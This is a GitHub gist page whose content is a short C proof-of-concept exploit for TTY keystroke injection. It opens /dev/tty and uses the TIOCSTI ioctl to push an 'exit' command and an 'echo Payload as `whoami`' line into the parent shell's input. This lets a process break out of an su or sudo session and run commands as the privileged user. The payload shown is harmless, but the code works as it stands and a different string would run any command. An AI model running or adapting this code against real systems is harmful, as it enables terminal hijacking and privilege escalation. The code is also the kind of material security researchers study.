Skip to content

Instantly share code, notes, and snippets.

@zetc0de
Created March 20, 2019 23:24
Show Gist options
  • Save zetc0de/f442871ac780a6d220f0b21774fe3246 to your computer and use it in GitHub Desktop.
Save zetc0de/f442871ac780a6d220f0b21774fe3246 to your computer and use it in GitHub Desktop.
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\necho Payload as `whoami`\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment